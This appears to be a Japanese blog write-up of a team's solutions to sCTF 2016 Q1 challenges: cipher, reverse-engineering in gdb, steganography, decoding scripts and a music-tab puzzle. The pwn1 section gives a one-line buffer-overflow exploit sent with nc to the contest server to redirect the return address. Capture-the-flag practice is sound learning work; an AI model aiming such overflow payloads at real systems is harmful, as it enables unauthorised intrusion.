sCTF 2016 Q1 Writeup

sCTFに参加しました。
チームyharimaとして参加し、結果は21位でした。
自分の担当分Writeupをつらつらと書いていきます。

When in Rome

rotするだけ、漢は黙ってtrコマンド。

$ tr a-z j-za-i
Nvctfdv kf jTKW! Nv yfgv pfl veafp kyv gifscvdj nv yrmv nizkkve wfi kyv wzijk hlrikvi fw 2016. Yviv zj pfli wzijk fw (yfgvwlccp) drep wcrxj! jtkw{ny3e_1e_tkw_u0_r5_tkw3i5_u0}
Nelcome to sTKW! Ne hope you enjoy the problems we have written for the first quarter of 2016. Yere is your first of (hopefully) many flags! sctf{wh3n_1n_ctf_d0_a5_ctf3r5_d0}

rev1

rip書き換えて終わり。

$ gdb rev1
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000400656 <+0>:	push   rbp
   0x0000000000400657 <+1>:	mov    rbp,rsp
   0x000000000040065a <+4>:	sub    rsp,0x10
   0x000000000040065e <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400665 <+15>:	movabs rax,0x2121217230783468
   0x000000000040066f <+25>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400673 <+29>:	mov    BYTE PTR [rbp-0x8],0x0
   0x0000000000400677 <+33>:	mov    edi,0x400744
   0x000000000040067c <+38>:	call   0x400530 <puts@plt>
   0x0000000000400681 <+43>:	lea    rax,[rbp-0x4]
   0x0000000000400685 <+47>:	mov    rsi,rax
   0x0000000000400688 <+50>:	mov    edi,0x400760
   0x000000000040068d <+55>:	mov    eax,0x0
   0x0000000000400692 <+60>:	call   0x400550 <scanf@plt>
   0x0000000000400697 <+65>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040069a <+68>:	cmp    eax,0x5b74
   0x000000000040069f <+73>:	jne    0x4006b7 <main+97>
   0x00000000004006a1 <+75>:	lea    rax,[rbp-0x10]
   0x00000000004006a5 <+79>:	mov    rsi,rax
   0x00000000004006a8 <+82>:	mov    edi,0x400763
   0x00000000004006ad <+87>:	mov    eax,0x0
   0x00000000004006b2 <+92>:	call   0x400510 <printf@plt>
   0x00000000004006b7 <+97>:	mov    eax,0x0
---Type <return> to continue, or q <return> to quit---
   0x00000000004006bc <+102>:	leave
   0x00000000004006bd <+103>:	ret
End of assembler dump.
(gdb) b *0x000000000040069a
Breakpoint 1 at 0x40069a
(gdb) r
Starting program: /home/vagrant/sctf2016/rev1
What is the magic password?
fe

Breakpoint 1, 0x000000000040069a in main ()
(gdb) set $rip = 0x00000000004006a1
(gdb) c
Continuing.
Correct! Your flag is: h4x0r!!![Inferior 1 (process 5749) exited normally]

rev2

バイナリを読むと、int型数値を読み込んでcmp命令で比較する部分がある。
cmp命令が比較している値(0x30dda83)をint型数値に直し、それを入れるとflagが出てくる。

(gdb) disass main
Dump of assembler code for function main:
   0x0000000000400656 <+0>:	push   rbp
   0x0000000000400657 <+1>:	mov    rbp,rsp
   0x000000000040065a <+4>:	sub    rsp,0x10
   0x000000000040065e <+8>:	mov    DWORD PTR [rbp-0x8],0x0
   0x0000000000400665 <+15>:	mov    DWORD PTR [rbp-0x4],0x7d15d
   0x000000000040066c <+22>:	mov    edi,0x4007a4
   0x0000000000400671 <+27>:	call   0x400530 <puts@plt>
   0x0000000000400676 <+32>:	lea    rax,[rbp-0x8]
   0x000000000040067a <+36>:	mov    rsi,rax
   0x000000000040067d <+39>:	mov    edi,0x4007c0
   0x0000000000400682 <+44>:	mov    eax,0x0
   0x0000000000400687 <+49>:	call   0x400550 <scanf@plt>
   0x000000000040068c <+54>:	mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040068f <+57>:	cmp    eax,0x30dda83
...
(gdb) x/s 0x4007c0
0x4007c0:	"%d"
(gdb) p 0x30dda83
$1 = 51239555
(gdb) quit
$ echo 51239555 | ./rev2
What is the magic password?
Correct! Your flag is: 51196695

Banana Boy

画像が1枚DLできるようになっており、それをバイナリエディタで開くと
ファイルの後半部分にもう一つ別の画像が連結されているので、それをコピペして抽出。
抽出した画像にflag発見。

Lengthy Lingo

数値の羅列とその数値を途中 , で区切られたファイルが渡される。, で区切られた数字列の文字数を1文字分のバイトとするとflagが出てくる。利用したコードは以下。

# -*- encoding: utf-8 -*-
r = []
with open('encrypted.dat') as f:
    for line in f.readlines():
        for v in line.strip().split(', '):
            r.append(chr(len(v)))
print ''.join(r)

pwn1

バイナリを見ると replace 関数で入力文字列の I を you にする置換処理がある。
ここでbuffer overflowを引き起こすので文字列をうまく調節し、return addressを狙う。
関数の戻り先は get_flag 関数がバイナリ内に存在したので、そのアドレス(0x08048f0d)にreturn addressを書き換える。

$ python -c "print 'IIIIIIIIIIIIIIIIIIIAAAAAAA' + '\x0d\x8f\x04\x08' * 10" | nc problems2.2016q1.sctf.io 1337
sctf{strcpy_was_a_mistake}

Musical Penguin

ファイルはtuxguitarと呼ばれるギター演奏ソフトの楽譜。
1楽節に5つの音符が含まれる、tab符に1, 2と書かれている。
じーっとながめるとモールス信号の数値の形に見えてくるので、とにかく書きおこす。1を長音、2を単音。
最初、1を単音、2を長音していたときもあった。。。

書きおこすと数値が出てくるが、数値には7〜9までの数字が出てこないので7進数と仮定してasciiにするとflagが出てくる。

import sys
import struct

target = '223 201 224 204 234 100 164 225 104 102 202 164 224 66 164 214 103 212 102 164 214 225 104 100 201 164 230 100 224 206 164 224 206 100 104 164 103 213 213 164 224 206 102 164 224 100 214 102 236'

tlist = [int(x, 7) for x in target.split(' ')]
r = struct.pack('B' * len(tlist), *tlist)
with open('b.bin', 'wb') as f:
    f.write(r)